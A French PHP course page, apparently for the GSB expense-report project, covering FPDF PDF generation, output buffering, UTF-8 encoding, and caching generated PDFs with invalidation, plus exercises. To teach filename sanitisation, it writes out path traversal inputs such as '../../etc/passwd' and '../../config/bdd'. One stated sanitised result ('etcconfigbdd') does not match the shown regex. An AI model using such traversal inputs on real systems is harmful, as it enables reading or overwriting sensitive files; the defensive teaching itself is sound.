// 1. Capturer toute sortie accidentelle
ob_start();

// 2. Charger les dépendances manuellement (pas via index.php)
require_once '../vendor/autoload.php';
require_once '../config/bdd.php';
require_once '../resources/Outils/fpdf/fpdf.php';

// 3. Démarrer la session pour accéder à $_SESSION
session_start();

// 4. Vérifier l'authentification
$idVisiteur = $_SESSION['idVisiteur'] ?? null;
if (!$idVisiteur) { ob_end_clean(); exit('Accès refusé'); }

// 5. Charger les données, générer le PDF
// ...

// 6. Vider le tampon et envoyer le PDF
ob_end_clean();
$pdf->Output('I', 'fiche.pdf');
PHP
⚠️

Sécurité : même si le script est séparé, il faut vérifier que l'utilisateur est connecté ($_SESSION['idVisiteur']). Sinon n'importe qui peut accéder à telecharger_pdf.php?mois=202501 et télécharger des fiches de frais.

🖨️ FPDF — les fonctions essentielles

FPDF vs TCPDF vs mPDF

LibrairieAvantagesInconvénients
FPDFLégère (1 fichier), simple, pas de dépendanceUTF-8 limité, pas de CSS
TCPDFUTF-8 natif, HTML vers PDFLourde (~10 Mo)
mPDFCSS complet, HTML → PDF fidèleLente, grosse dépendance
DompdfCSS3, Bootstrap compatibleLente sur gros documents

GSB utilise FPDF car elle est fournie dans les ressources du projet et ne nécessite pas d'installation supplémentaire.

SetFont — choisir la police

// SetFont($famille, $style, $taille)
// Familles : 'Arial', 'Times', 'Courier', 'Helvetica', 'Symbol', 'ZapfDingbats'
// Styles   : '' (normal), 'B' (gras), 'I' (italique), 'U' (souligné), combinables 'BI'
// Taille   : en points (1 point = 0,353 mm)
$pdf->SetFont('Arial', 'B', 12);  // Arial gras 12pt
$pdf->SetFont('Arial', '', 9);   // Arial normal 9pt (tableau)
PHP

Cell — dessiner une cellule

// Cell($largeur, $hauteur, $texte, $bordure, $retourLigne, $alignement, $remplissage)
//   $largeur  : en mm (0 = jusqu'au bord droit)
//   $hauteur  : en mm
//   $bordure  : 0 (aucun), 1 (tous), 'L','R','T','B' ou combinaison 'LR'
//   $retour   : 0 (même ligne), 1 (ligne suivante), 2 (début ligne suivante)
//   $alignement : 'L' (gauche), 'C' (centré), 'R' (droite)
//   $remplissage : true = utilise SetFillColor(), false = fond transparent

// En-tête de tableau (fond bleu, texte blanc, bordure partout)
$pdf->SetFillColor(51, 102, 153);
$pdf->SetTextColor(255, 255, 255);
$pdf->Cell(70, 8, 'Libellé', 1, 0, 'C', true);
$pdf->Cell(30, 8, 'Total',   1, 1, 'R', true); // retour à la ligne

// Ligne de données (zébrage : alternance fond blanc / bleu pâle)
$pdf->SetTextColor(0, 0, 0);
$fill = false;
foreach ($lignes as $l) {
    $pdf->SetFillColor($fill ? 235 : 255, $fill ? 242 : 255, 255);
    $pdf->Cell(70, 7, $l['libelle'], 1, 0, 'L', true);
    $pdf->Cell(30, 7, $l['montant'], 1, 1, 'R', true);
    $fill = !$fill; // bascule entre vrai et faux à chaque ligne
}
PHP

Ln, SetXY — se déplacer dans la page

$pdf->Ln(6);         // saut de 6 mm vers le bas
$pdf->Ln();          // saut de la hauteur de la dernière cellule

$pdf->SetY(-15);     // positionne à 15 mm du bas de page (Footer)
$pdf->SetXY(10, 50); // positionne à x=10mm, y=50mm depuis le coin haut-gauche

$pdf->GetY();        // retourne la position Y courante en mm
PHP

Header() et Footer() — pattern Template Method

// On étend FPDF pour surcharger Header() et Footer().
// FPDF les appelle automatiquement : Header() à chaque AddPage(),
// Footer() avant chaque nouvelle page et à la fin du document.
class GsbPdf extends FPDF
{
    public function Header(): void
    {
        $this->SetFont('Arial', 'B', 14);
        $this->SetFillColor(31, 73, 125);
        $this->SetTextColor(255, 255, 255);
        $this->Cell(0, 12, 'REMBOURSEMENT DE FRAIS ENGAGES', 0, 1, 'C', true);
    }

    public function Footer(): void
    {
        $this->SetY(-15);  // 15 mm du bas
        $this->SetFont('Arial', 'I', 8);
        // {nb} est remplacé par AliasNbPages()
        $this->Cell(0, 10, 'Page ' . $this->PageNo() . '/{nb}', 0, 0, 'C');
    }
}
PHP

✏️ Exercice

  1. Quelle est la différence entre Cell(0, 8, ...) et Cell(100, 8, ...) ?
  2. Que signifie le paramètre 1 pour $retourLigne dans Cell() ?
  3. Pourquoi doit-on appeler AliasNbPages() avant AddPage() pour que {nb} fonctionne ?

🔡 Encodage — le problème des accents avec FPDF

Pourquoi les accents ne s'affichent pas ?

FPDF 1.86 utilise les polices Latin-1 (ISO-8859-1 / windows-1252), pas UTF-8. Les chaînes PHP modernes sont en UTF-8. Le caractère "é" en UTF-8 est codé sur 2 octets (0xC3 0xA9), mais FPDF l'interprète comme 2 caractères distincts → affichage cassé.

// Solution : convertir UTF-8 → windows-1252 avant de passer à Cell()
$texte = 'Éléments forfaitisés';  // UTF-8 (PHP interne)

// iconv() convertit d'un encodage à un autre
// 'UTF-8'        : encodage source
// 'windows-1252' : encodage cible (compatible polices FPDF)
// '//TRANSLIT'   : translittère les caractères sans équivalent (optionnel)
$pdf->Cell(0, 8, iconv('UTF-8', 'windows-1252', $texte), 1, 1);
PHP

Alternatives modernes

SolutionDescription
iconv('UTF-8', 'windows-1252', $s)Standard, présent dans toutes les installs PHP
mb_convert_encoding($s, 'windows-1252', 'UTF-8')Alternative avec mbstring
Utiliser TCPDF ou mPDFSupport UTF-8 natif, plus de conversion nécessaire
FPDF avec polices UnicodePossible mais complexe (tutoriels sur fpdf.org)
💡

Conseil pratique : créer une fonction helper t(string $s): string { return iconv('UTF-8', 'windows-1252', $s); } pour ne pas répéter le iconv() à chaque Cell().

📤 Output() et ob_start() — contrôler la sortie PHP

Le problème : "Cannot modify header information"

PHP ne peut pas envoyer d'en-têtes HTTP (header(), cookies, réponse FPDF) si du contenu a déjà été envoyé au navigateur. Une espace accidentelle avant <?php, un echo de débogage, ou une erreur PHP affichée : tout cela "ouvre" le flux HTTP et verrouille les en-têtes.

ob_start() — tampon de sortie

ob_start();
// Tout ce qui est "affiché" (echo, HTML, erreurs) est capturé en mémoire
// et NON envoyé immédiatement au navigateur.

// ... traitement ...

ob_end_clean(); // Vide le tampon SANS l'envoyer → les en-têtes sont libres
$pdf->Output('I', 'fiche.pdf'); // Envoie Content-Type: application/pdf + contenu
PHP

FPDF::Output() — les modes

ModeComportementUsage GSB
'I' — InlineAffiche dans le navigateur (lecteur PDF intégré)✅ Tâche 7 — "Télécharger PDF"
'D' — DownloadForce le téléchargement (Content-Disposition: attachment)Alternative possible
'F' — FileSauvegarde dans un fichier côté serveur✅ Tâche 8 — mise en cache
'S' — StringRetourne le PDF comme chaîne PHPPour email, tests
// Mode 'I' : ouvre dans le navigateur
$pdf->Output('I', 'Fiche_Frais_202507.pdf');

// Mode 'F' : sauvegarde sur disque (Tâche 8 — cache)
$pdf->Output('F', '/var/www/gsb/cache/pdf/a118y_202507.pdf');

// Mode 'S' : récupère le PDF comme string pour envoi par email
$pdfString = $pdf->Output('S', '');
PHP

✏️ Exercice final — tâche 7

  1. Pourquoi ne peut-on pas appeler header('Content-Type: application/pdf') si on a déjà fait un echo quelque part dans le script ?
  2. Quelle est la différence entre ob_end_clean() et ob_end_flush() ?
  3. Réécris la ligne de Total du PDF pour que le fond soit vert (RGB: 34, 197, 94) au lieu de bleu.
  4. Pourquoi les lignes REFUSE ne sont-elles pas comptées dans le total du PDF ?
  5. Si un visiteur a effectué 750 km avec un véhicule 7 CV, quel montant s'affiche dans la colonne "Total" de la ligne Véhicule ?
Tâche 8 — Green-IT (Cache PDF)

🌱 Green-IT et mise en cache

Pourquoi le Green-IT ?

Le secteur numérique représente environ 4 % des émissions mondiales de CO₂ — plus que l'aviation civile. Chaque requête serveur consomme de l'électricité : CPU, RAM, disque, réseau. Le Green-IT cherche à réduire ces consommations inutiles.

Ici : une fiche de frais est immuable une fois clôturée. Régénérer le PDF à chaque clic est un gaspillage pur. La mise en cache évite ce travail inutile.

Ce que coûte chaque génération PDF (sans cache)

OpérationRessource
3-4 requêtes SQL (SELECT forfait, HF, visiteur, infos)CPU BDD + I/O disque
Calcul du barème URSSAF (boucles PHP)CPU PHP
Génération FPDF (calculs de mise en page, encodage)CPU PHP + RAM
Transfert réseau du fichier PDF (~50 Ko)Bande passante

Avec 150 visiteurs × 12 mois × quelques clics chacun = des milliers de génération inutiles par an.

Logique du cache — flowchart

Requête : telecharger_pdf.php?mois=202507is_file('pdf/a118y_202507.pdf') ?
           ↓
     OUI ──────────→ readfile() → navigateur   ← 0 BDD, 0 CPU, ~0ms
           ↓
     NON
           ↓
SELECT BDD + calculs + FPDF
           ↓
file_put_contents('pdf/a118y_202507.pdf', $pdfContenu, LOCK_EX)
           ↓
header('Content-Type: application/pdf') + echo $pdfContenu
CONCEPT

Nommage sécurisé du fichier cache

// On construit le nom de fichier à partir de l'id visiteur + le mois
// preg_replace() supprime tous les caractères qui ne sont PAS
// alphanumériques ou underscore — évite les path traversal attacks :
// un idVisiteur malicieux comme "../../etc/passwd" deviendrait "etcpasswd"
$nomFichier = preg_replace('/[^a-z0-9_]/i', '', $idVisiteur . '_' . $mois) . '.pdf';
$chemin     = PATH_PDF . $nomFichier;
// Exemple : 'a118y_202507.pdf' → '../pdf/a118y_202507.pdf'
PHP

Path traversal : si un attaquant envoie mois=../../config/bdd, le preg_replace le transforme en etcconfigbdd — inoffensif. Sans cette protection, il pourrait écraser des fichiers sensibles.

📂 readfile() — servir un fichier sans le charger en RAM

readfile() vs file_get_contents() + echo

// ❌ Mauvaise approche : charge TOUT le fichier en mémoire PHP
$contenu = file_get_contents($chemin); // PDF entier en RAM
echo $contenu;                           // puis copié dans la sortie

// ✅ Bonne approche : stream par blocs, sans charger en mémoire
readfile($chemin); // lit et envoie par blocs (8 Ko par défaut)
PHP

Pour un PDF de 100 Ko, la différence est négligeable. Mais pour de nombreuses requêtes simultanées ou de gros fichiers, readfile() consomme bien moins de RAM.

En-têtes HTTP pour un PDF

// Content-Type : indique au navigateur que c'est un PDF (MIME type)
header('Content-Type: application/pdf');

// Content-Disposition: inline → affiche dans le navigateur
// Content-Disposition: attachment → force le téléchargement
header('Content-Disposition: inline; filename="fiche.pdf"');

// Cache-Control: private → ne pas mettre en cache dans les proxies
// (données personnelles — chaque visiteur a SA fiche)
header('Cache-Control: private, max-age=0, must-revalidate');

// Content-Length : taille exacte en octets (permet la barre de progression)
header('Content-Length: ' . filesize($chemin));

readfile($chemin);
PHP

Output('S') — récupérer le PDF comme chaîne

// On NE PEUT PAS appeler Output() deux fois sur le même objet FPDF.
// Solution : Output('S') retourne le PDF comme string PHP.
// On peut alors :
//   1. Sauvegarder sur disque (cache)
//   2. Envoyer au navigateur (echo)

$pdfContenu = $pdf->Output('S', ''); // '' = nom ignoré en mode S

// Écriture atomique avec verrou exclusif
file_put_contents($chemin, $pdfContenu, LOCK_EX);

// Envoi au navigateur
header('Content-Type: application/pdf');
header('Content-Length: ' . strlen($pdfContenu));
echo $pdfContenu;
PHP

LOCK_EX : si deux visiteurs cliquent simultanément pour la même fiche (peu probable, mais possible), LOCK_EX garantit que le fichier ne sera pas écrit deux fois en même temps (corruption évitée).

🗑️ Invalidation du cache

Quand le cache est-il périmé ?

La fiche peut être modifiée par la comptabilité APRÈS que le visiteur ait téléchargé son PDF :

  • La comptabilité refuse une ligne hors-forfait (refuserHF)
  • La comptabilité corrige une quantité forfaitisée (valider)

Dans ces cas, le PDF en cache montre des données incorrectes. On l'invalide en supprimant le fichier — la prochaine requête régénèrera un PDF à jour.

Invalidation dans c_validerFiche.php

// Fonction déclarée dans le contrôleur — proche du code qui modifie la fiche
function invaliderCachePdf(string $idVisiteur, string $mois): void
{
    $nom    = preg_replace('/[^a-z0-9_]/i', '', $idVisiteur . '_' . $mois) . '.pdf';
    $chemin = PATH_PDF . $nom;
    if (is_file($chemin)) {
        @unlink($chemin); // @ supprime le warning si absent
    }
}

// Appelée après chaque modification :
case 'refuserHF':
    $pdo->refuserFraisHorsForfait($idFrais);
    invaliderCachePdf($idVisiteur, $mois); // ← Tâche 8
    break;

case 'valider':
    $pdo->majFraisForfait(...);
    $pdo->majEtatFicheFrais($idVisiteur, $mois, ETAT_VA);
    invaliderCachePdf($idVisiteur, $mois); // ← Tâche 8
    break;
PHP

unlink() — supprimer un fichier

FonctionRôle
unlink($chemin)Supprime un fichier. Retourne false si absent ou erreur de permissions.
@unlink($chemin)Idem, mais le @ supprime le warning PHP si le fichier est déjà absent.
is_file($chemin)Teste si le fichier existe (true uniquement pour les fichiers, pas les dossiers).
file_exists($chemin)Teste si le chemin existe (fichier OU dossier).
mkdir($chemin, 0755, true)Crée un dossier (et ses parents si true) avec les permissions 755.

✏️ Exercice final — tâche 8

  1. Que se passe-t-il si deux visiteurs téléchargent simultanément leur PDF pour la première fois ? Pourquoi LOCK_EX est-il important ici ?
  2. Expliquez la différence entre Cache-Control: private et Cache-Control: public. Lequel doit-on utiliser pour une fiche de frais personnelle ?
  3. La fonction invaliderCachePdf() utilise preg_replace('/[^a-z0-9_]/i', '', $s). Quel serait le résultat si $idVisiteur contenait "../../etc/passwd" ?
  4. Proposez une stratégie de cache alternative : au lieu de supprimer le fichier lors de l'invalidation, comment pourrait-on utiliser une date d'expiration ?
  5. Dans quel dossier sont stockés les PDFs en cache ? Pourquoi ce dossier ne doit-il PAS être dans public/ ?